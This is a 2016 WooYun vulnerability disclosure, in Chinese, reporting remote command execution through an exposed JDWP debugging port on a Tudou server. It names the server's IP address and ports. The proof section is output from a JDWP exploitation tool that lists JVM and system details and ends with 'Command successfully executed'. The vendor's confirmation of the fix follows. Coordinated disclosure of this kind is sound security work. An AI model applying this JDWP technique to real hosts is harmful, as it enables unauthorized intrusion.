当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0204536

漏洞标题:土豆网某服务器存在命令执行

相关厂商:土豆网

漏洞作者: Aasron

提交时间:2016-05-03 11:48

修复时间:2016-06-17 15:40

公开时间:2016-06-17 15:40

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-03: 细节已通知厂商并且等待厂商处理中
2016-05-03: 厂商已经确认,细节仅向厂商公开
2016-05-13: 细节向核心白帽子及相关领域专家公开
2016-05-23: 细节向普通白帽子公开
2016-06-02: 细节向实习白帽子公开
2016-06-17: 细节向公众公开

简要描述:

土豆网某服务器存在命令执行

详细说明:


http://114.80.121.110:8990/login.do


土豆网公用模板集中管理平台
端口开放8000即jdwp服务,存在JDWP命令执行,但无法执行
端口9998可执行

漏洞证明:

[+] Targeting '114.80.121.110:9998'
[+] Reading settings for 'Java HotSpot(TM) Server VM - 1.6.0_03'
[+] Found Runtime class: id=7cf
[+] Found Runtime.getRuntime(): id=aab58e8
[+] Created break event id=2
[+] Waiting for an event on 'java.net.ServerSocket.accept'
[+] Received matching event from thread 0x15af
[+] Found Java Virtual Machine specification vendor 'Sun Microsystems Inc.'
[+] Found Java Runtime Environment specification name 'Java Platform API Specifi
cation'
[+] Found Path of extension directory or directories '/usr/java/jdk1.6.0_03/jre/
lib/ext:/usr/java/packages/lib/ext'
[+] Found Java Runtime Environment specification vendor 'Sun Microsystems Inc.'
[+] Found Java Virtual Machine specification version '1.0'
[+] Found Operating system name 'Linux'
[+] Found Default temp file path '/home/istat/apache-tomcat-6.0.18/temp'
[+] Found User's current working directory '/home/istat'
[+] Found Java installation directory '/usr/java/jdk1.6.0_03/jre'
[+] Found User's account name 'istat'
[+] Found Java Virtual Machine implementation vendor 'Sun Microsystems Inc.'
[+] Found Java Runtime Environment vendor 'Sun Microsystems Inc.'
[+] Found Path separator ':'
[+] Found Java vendor URL 'http://java.sun.com/'
[+] Found Java class path ':/home/istat/apache-tomcat-6.0.18/bin/bootstrap.jar'
[+] Found Java Runtime Environment specification version '1.6'
[+] Found Operating system version '2.6.18-371.8.1.el5'
[+] Found Operating system architecture 'i386'
[+] Found Java Runtime Environment version '1.6.0_03'
[+] Found Java Virtual Machine implementation version '1.6.0_03-b05'
[+] Found Java Virtual Machine specification name 'Java Virtual Machine Specific
ation'
[+] Found File separator '/'
[-] java.compiler: Unexpected returned type: expecting String
[+] Found Java class format version number '50.0'
[+] Found List of paths to search when loading libraries '/usr/java/jdk1.6.0_03/
jre/lib/i386/server:/usr/java/jdk1.6.0_03/jre/lib/i386:/usr/java/jdk1.6.0_03/jre
/../lib/i386:/usr/java/packages/lib/i386:/lib:/usr/lib'
[+] Found Java Virtual Machine implementation name 'Java HotSpot(TM) Server VM'
[+] Found User's home directory '/home/istat'
[!] Command successfully executed


就不弹shell了吧

修复方案:

补丁

版权声明:转载请注明来源 Aasron@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2016-05-03 15:38

厂商回复:

感谢 Aasron! 该问题我们已经确认,并联系相关人员及时进行修复了,多谢对土豆安全的关注!

最新状态:

暂无